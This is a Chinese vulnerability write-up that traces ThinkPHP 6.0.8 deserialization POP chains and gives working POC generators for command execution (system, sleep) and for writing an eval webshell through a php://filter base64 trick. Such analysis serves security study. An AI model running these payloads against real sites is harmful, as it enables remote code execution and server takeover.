<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    tp6.0.8反序列化漏洞分析

    VSole2021-11-19 13:51:32

    01、環境搭建

    composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
    

    首先構造一個反序列化點

    app/controller/Index.php

    namespace app\controller;
    use app\BaseController;
    class Index extends BaseController {
    	public function index() {
    		if(isset($_POST['data'])) {
    			@unserialize($_POST['data']);
    		}
    		highlight_string(file_get_contents(__FILE__));
    	}
    }
    

    在 ThinkPHP5.x 的POP鏈中,入口都是 think\process\pipes\Windows 類,通過該類觸發任意類的

    __toString 方法。但是 ThinkPHP6.x 的代碼移除了 think\process\pipes\Windows 類,而POP鏈

    __toString 之后的 Gadget 仍然存在,所以我們得繼續尋找可以觸發 __toString 方法的點。先從起點 __destruct() 或 __wakeup 方法開始,因為它們就是unserialize的觸發點。

    02、尋找 __destruct 方法

    我們全局搜索 __destruct() 方法,這里發現了/vendor/topthink/think-orm/src/Model.php中Model 類的 __destruct 方法:

    $this->lazySave 為真時,調用save方法,跟進save方法

    這里對 $this->exists 屬性進行判斷,如果為true則調用updateData()方法,如果為false則調用insertData()方法。而要想到達這一步,需要先滿足下面這個if語句:

    if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
    {
      return false;
    }
    

    只需 $this->isEmpty() 為返回false$this->trigger('BeforeWrite') 返回true即可。進 $this->isEmpty() 方法:

    public function isEmpty(): bool
    {
      return empty($this->data);
    }
    

    這里 $this->data 不為空即可

    跟進 $this->trigger() 方法

    此處需要滿足 $this->withEventfalse之后當 $this->exists == true 時進入 $this->updateData() ;當 $this->exists == false 時進

    $this->insertData() 。先跟進updateData()方法

    這里下一步的利用點存在于 $this->checkAllowFields() 中,但是要進入并調用該函數,需要先通過

    兩處if語句:通過①處if語句:通過上面對trigger()方法的分析,我們知道需要令 $this->withEvent == false

    可通過。由于前面已經繞過了save()方法中的trigger(),所以這里就不用管了。通過②處if語句:需要 $data == 1 (非空)即可,所以我們跟進 $this->getChangedData() 方法

    (位于vendor\topthink\think-orm\src\model\concern\Attribute.php中)看一下:

    我們只需要令 $this->force == true 即可直接返回 $this-data ,而我們之前也需要設置 $thisdata 為非空。回到 updateData() 中,之后就可以成功調用到了 $this->checkAllowFields() ,跟

    進該函數

    這里需要調用到 $this->db 方法,所以需令 $this->field 為空并且 $this->schema 也為空。

    這兩個字段默認為空,所以不需要管

    之后進入db方法

    在該方法中使用了 . 進行字符串拼接,我們可以把 $this->table$this->suffix 設置成相應的類

    對象,此時通過 . 拼接便可以把類對象當做字符串,就可以觸發 __toString() 方法了

    目前為止,前半條POP鏈已經完成,即可以通過字符串拼接去調用 __toString() ,所以先總結一下我

    們需要設置的點:

    $this->data不為空
    $this->lazySave == true
    $this->withEvent == false
    $this->exists == true
    $this->force == true
    

    調用過程如下:

    PHP
    __destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table .
    $this->suffix(字符串拼接)——>toString()
    

    03、尋找 __toString() 方法

    既然前半條POP鏈已經能夠觸發 __toString() 了,下面就是尋找利用點。這次漏洞的__toString() 利用點位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名為Conversiontrait中:

    public function __toString()
    {
      return $this->toJson();
    }
    

    跟進 toJson

    public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
    {
      return json_encode($this->toArray(), $options);
    }
    

    跟進toArray

    跟進 getAttr()

    先看返回值 的 $this->getValue這里的

    $closure = $this->withAttr[$fieldName];
    $value = $closure($value, $this->data);
    

    注意看這里,我們是可以控制 $this->withAttr 的,那么就等同于控制了 $closure 可以作為動態函

    數,執行命令。根據這個點,我們來構造pop

    04、POP鏈構造

    入口點在 src/Model.php__destruct ,我們需要控制 $this->lazySave 為真來進入if循環調用save函數

    save函數中需要使 $this->isEmpty()false,也就是 $this->data 不為空,并且 $this->triggertrue,也就是 $this->withEventtrue,該屬性在 src/model/concern/ModelEvent.php 中。之后

    再使 $this->existstrue即可進入updateData方法

    進入了updateDate方法之后,由于前面的 $this->trigger 已經為true,只需要 $data 不為空即可調

    $this->checkAllowFields() 方法,也就是 src/model/concern/Attribute.php 里的getChangedDate方法不為空

    getChangedDate中,如果 $this->force 為true,則直接返回 $this->date ,而 $this->data 前面

    已經不為空了

    所以要想進入checkAllowFields方法,需要滿足下滿的條件

    $this->lazySave == true
    $this->data不為空
    $this->withEvent == false
    $this->exists == true
    $this->force == true
    

    model 類是復用了 trait 類 的,可以訪問其屬性,和方法。Model 類 是抽象類,不能被實例化,所

    以我們還需要找到其子類。Pivot 類就是我們需要找的類。現在已經成功執行到了 $this->checkAllowFields() ,還得進入 $this->db()

    這里只需要 為空,this->schema 也為空即可進入db方法

    $this->name$this->suffix 設置為含有 __toString 的類對象就可以觸發此魔術方法這里注意的是,我們需要觸發 __toString 的類 是 conversion 類 而這個類是 trait 類, 而當前的model 類是 復用了 conversion 類的,所以我們相當于重新調用一遍 Pivot類。也就是重新調用一下自己,觸發自己的的 __toString 方法調用 __toString 方法的poc

    namespace think\model\concern;
    trait Attribute {
    	private $data=['456'=>'123'];
    }
    trait ModelEvent {
    	protected $withEvent = true;
    }
    namespace think;
    abstract class Model {
    	use model\concern\Attribute;
    	use model\concern\ModelEvent;
    	private $exists;
    	private $force;
    	private $lazySave;
    	protected $suffix;
    	function __construct($a = '') {
    		$this->exists = true;
    		$this->force = true;
    		$this->lazySave = true;
    		$this->withEvent = false;
    		$this->suffix = $a;
    	}
    }
    namespace think\model;
    use think\Model;
    class Pivot extends Model {
    }
    echo urlencode(serialize(new Pivot(new Pivot())));
    ?>
    

    之后便是 __toString 的構造了,在 vendor/topthink/thinkorm/src/model/concern/Conversion.php 里面。首先是進入 toJson

    然后調用 toArray

    toArray中會調用getAttr

    前面兩個 foreach 不做處理,再下來這個 foreach 會進入最后一個 if分支 ,調用 getAttr 方法。這個foreach 是遍歷 $this->data ,然后將 $data$key 傳入 getAttr該函數是在 src/model/concern/Attribute.php

    然候會進入getValue

    我們只需要將 $closure 設置為 system 等函數即可執行任意命令,也就是 $this->withAttr[$fieldName]

    也就是 $this->withAttr[$this->getRealFieldName($name)]

    其中 $this->strict 默認為true,如果將 $this->convertNameToCamel 設置為false,則會直接返回$name所以就相當于 $this->withAttr[$name] 為一個命令執行函數, $name 就是getAttr中的 $key ,也就是$data 的鍵值

    其中參數值就是 $this->getData($name)

    相當于data數組中的鍵值。withAttr數組中的鍵值為函數,data數組中的鍵值為參數,并且鍵名需要相同

    05、命令執行POC1

    namespace think\model\concern;
    trait Attribute {
    	private $data=['cyz'=>'whoami'];
    	private $withAttr=['cyz'=>'system'];
    }
    trait ModelEvent {
    	protected $withEvent = true;
    }
    namespace think;
    abstract class Model {
    	use model\concern\Attribute;
    	use model\concern\ModelEvent;
    	private $exists;
    	private $force;
    	private $lazySave;
    	protected $suffix;
    	function __construct($a = '') {
    		$this->exists = true;
    		$this->force = true;
    		$this->lazySave = true;
    		$this->withEvent = false;
    		$this->suffix = $a;
    	}
    }
    namespace think\model;
    use think\Model;
    class Pivot extends Model {
    }
    echo urlencode(serialize(new Pivot(new Pivot())));
    ?>
    

    06、命令執行POC2

    也可以直接令$this->exists = false;,進入insertData方法,直接調用db

    namespace think\model\concern;
    trait Attribute {
    	private $data=['cyz'=>'whoami'];
    	private $withAttr=['cyz'=>'system'];
    }
    trait ModelEvent {
    	protected $withEvent = true;
    }
    namespace think;
    abstract class Model {
    	use model\concern\Attribute;
    	use model\concern\ModelEvent;
    	private $exists;
    	private $lazySave;
    	protected $suffix;
    	function __construct($a = '') {
    		$this->exists = false;
    		$this->lazySave = true;
    		$this->withEvent = false;
    		$this->suffix = $a;
    	}
    }
    namespace think\model;
    use think\Model;
    class Pivot extends Model {
    }
    echo urlencode(serialize(new Pivot(new Pivot())));
    ?>
    

    06、其他利用鏈

    尋找__destruct方法

    vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 文件中找到個可

    以利用的 __destruct 方法

    $this->autosavefalse時進入save方法

    進入 save 函數,發現并沒有實現什么功能,所以我們需要尋找 AbstractCache 類的子類有沒有實現該

    函數

    src/think/filesystem/CacheStore.php 中存在符合條件的子類

    這里 $this->store 可控,所以我們可以觸發任意類的 set 方法,只要找到任意類存在危險操作的 set方法即可利用

    跟進getForStorage函數$this->cache 可控, $this->complete 可控,因此 $contents 可控,只不過經過一次json編碼

    尋找危險的set方法

    vendor/topthink/framework/src/think/cache/driver/File.php 中存在符合條件的set方法

    public function set($name, $value, $expire = null): bool {
    	$this->writeTimes++;
    	if (is_null($expire)) {
    		$expire = $this->options['expire'];
    	}
    	$expire = $this->getExpireTime($expire);
    	$filename = $this->getCacheKey($name);
    	$dir = dirname($filename);
    	if (!is_dir($dir)) {
    		try {
    			mkdir($dir, 0755, true);
    		}
    		catch (\Exception $e) {
    			// 創建失敗
    		}
    	}
    	$data = $this->serialize($value);
    	if ($this->options['data_compress'] && function_exists('gzcompress')) {
    		//數據壓縮
    		$data = gzcompress($data, 3);
    	}
    	$data = "" .
    	$data;
    	$result = file_put_contents($filename, $data);
    	if ($result) {
    		clearstatcache();
    		return true;
    	}
    	return false;
    }
    

    $this->getExpireTime($expire) 是返回一個整數,跟進getCacheKey

    $this->options 可控,所以 getCacheKey 返回的值可控

    跟進一下serialize

    $this->options['serialize'][0] 可控, $serialize 可控, $data 為我們傳入 set 函數的$value ,也就是 $this->store->set($this->key, $contents, $this->expire); 中的 $content

    是可控的。只不過此時 $data 經過json編碼

    所以這里可以構造動態代碼執行

    POC1

    namespace League\Flysystem\Cached\Storage;
    abstract class AbstractCache {
    }
    namespace think\cache;
    use think\cache\Driver;
    abstract class Driver {
    }
    namespace think\cache\driver;
    use think\cache\driver;
    class File extends Driver {
    	protected $options = [];
    	public function __construct() {
    		$this->options = [
    		'expire' => 0,
    		'cache_subdir' => false,
    		'prefix' => '',
    		'path' => '',
    		'hash_type' => 'md5',
    		'data_compress' => false,
    		'tag_prefix' => 'tag:',
    		'serialize'=> ['system']
    		];
    	}
    }
    namespace think\filesystem;
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache {
    	protected $store;
    	protected $key;
    	protected $autosave;
    	protected $complete;
    	public function __construct($store) {
    		$this->autosave = false;
    		$this->key = "1";
    		$this->complete = '`sleep 10`';
    		$this->store = $store;
    	}
    }
    use think\cache\driver\file;
    $a = new CacheStore(new File());
    echo serialize($a);
    echo "
    ";
    echo urlencode(serialize($a));
    ?>
    

    這里成功調用了system命令,在linux中可以使用反引號來進行無回顯的命令執行

    繼續往下會看到一個任意文件寫入

    $data = "" . $data;
    $result = file_put_contents($filename, $data);
    

    經典“死亡exit”,可以偽協議繞過,最后文件名是 $key 的md5

    $name = hash($this->options['hash_type'], $name);
    

    $name 為文件名,來源于$this->key,可控,$this->options['hash_type']也可控。

    最終文件名是經過hash后的,所以最終文件名可控(本文演示POC中$key = "1",$this->options['hash_type'] = 'md5'

    所以最終文件名為1的md5值)。

    $this->options['path'] 使用php filter構造 php://filter/write=convert.base64- decode/resource=think/public/ 指向tp6根目錄

    最終拼接后的$filenamephp://filter/write=convert.base64-decode/resource=./

    此外,為了確保php偽協議進行base64解碼之后我們的shell不受影響,所以要計算解碼前的字符數。

    假設傳入的$expire=0,那么shell前面部分在拼接之后能夠被解碼的有效字符為:php//000000000001exit共有21個,要滿足base64解碼的4字符為1組的規則,在其前面補上3個字符用

    于逃逸之后的base64解碼的影響。

    但是實際上會少一個<所以在base64編碼的時候需要使用兩個 <<

    POC2

    https://www.heibai.org/1604.html

    https://www.cnblogs.com/20175211lyz/p/13639789.html

    https://new.qq.com/omn/20200629/20200629A0RG1800.html

    namespace League\Flysystem\Cached\Storage;
    abstract class AbstractCache {
    }
    namespace think\cache;
    use think\cache\Driver;
    abstract class Driver {
    }
    namespace think\cache\driver;
    use think\cache\driver;
    class File extends Driver {
    	protected $options = [];
    	public function __construct() {
    		$this->options = [
    		'expire' => 0,
    		'cache_subdir' => false,
    		'prefix' => '',
    		'path' => 'php://filter/write=convert.base64-
    decode/resource=./',
    		'hash_type' => 'md5',
    		'data_compress' => false,
    		'tag_prefix' => 'tag:',
    		'serialize'=> ['trim'] //使用trim去掉[]
    		];
    	}
    }
    namespace think\filesystem;
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache {
    	protected $store;
    	protected $key;
    	protected $autosave;
    	protected $complete;
    	public function __construct($store) {
    		$this->autosave = false;
    		$this->key = "1";
    		$this->complete = 'uuuPDw/cGhwIHBocGluZm8oKTtldmFsKCRfR0VUWzFdKTs/PiA=';
    		$this->store = $store;
    	}
    }
    use think\cache\driver\file;
    $a = new CacheStore(new File());
    echo serialize($a);
    echo "
    ";
    echo urlencode(serialize($a));
    ?>
    

    POC3

    https://yq1ng.github.io/z_post/ctfshow-thinkphp%E4%B8%93%E9%A2%98/

    /**
    * @Author ying
    * @Date 8/20/2021 5:01 PM
    * @Version 1.0
    */
    namespace League\Flysystem\Cached\Storage {
    	use League\Flysystem\Adapter\Local;
    	class Adapter {
    		protected $autosave = true;
    		protected $expire = null;
    		protected $adapter;
    		protected $file;
    		public function __construct() {
    			$this->autosave = false;
    			$this->expire = '';
    			$this->adapter = new Local();
    			$this->file = 'yq1ng.php';
    		}
    	}
    }
    namespace League\Flysystem\Adapter {
    	class Local {
    	}
    }
    namespace {
    	use League\Flysystem\Cached\Storage\Adapter;
    	echo urlencode(serialize(new Adapter()));
    }
    
    函數調用tostring
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    本篇針對該JS中的字符串混淆進行還原。字符串是如何混淆的解密方式想要對字符串反混淆就要先分析該樣本是如何對字符串進行混淆的。而處于全局作用域的_0x1f1a68實際上也是對另一個函數的調用。
    前陣子做了一下 Dice CTF 2021,做出了幾個 XSS ,本次就寫一下包括復現題在內的所有學習筆記。
    Thinkphp是一個國內輕量級的開發框架,采用php+apache,在更新迭代中,thinkphp也經常爆出各種漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前兩個版本已經停止更新
    2022年04月12日,Apache官方發布了Apache Struts2的風險通告,漏洞編號為CVE-2021-31805,漏洞等級:高危,漏洞評分:8.5。Apache Struts 2是一個用于開發Java EE網絡應用程序的開放源代碼網頁應用程序架構。它利用并延伸了Java Servlet API,
    得益于Unicorn的強大的指令trace能力,可以很容易實現對cpu執行的每一條匯編指令的跟蹤,進而對ollvm保護的函數進行剪枝,去掉虛假塊,大大提高逆向分析效率。
    某加速器APP分析
    2023-07-14 09:51:27
    (這樣檢測是因為正常手機不會是intel或AMD型號的CPU。② 修改對應的smali語句,將eqz修改成nez。這里將eqz改成nez即可繞過檢測。解碼后結果是亂碼。
    最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。php反序列化簡單理解首先我們需要理解什么是序列化,什么是反序列化?本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。
    FartExt是我之前學習脫殼實踐時做的一個自動脫殼機,是基于FART的主動調用思想實現對特定的抽取殼進行優化處理的工具。由于原本的FART沒有配置相關的,所以我增加了配置對指定app脫殼。
    字符串是 JavaScript 中的重要數據類型
    ldap連接地址為:ldap://192.168.11.16 用戶為hack 密碼為test123.. 在域外我們需要指定ip地址,在域內我們只需要指定域名也行,例如測試環境的redteam,也就是ldap://redteam,這里就說明我們寫代碼的時候就需要考慮是在域內還是在域外。 在c#進行ldap連接的時候需要引入DirectoryServices.dll,這個是系統自帶的,自行尋找。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类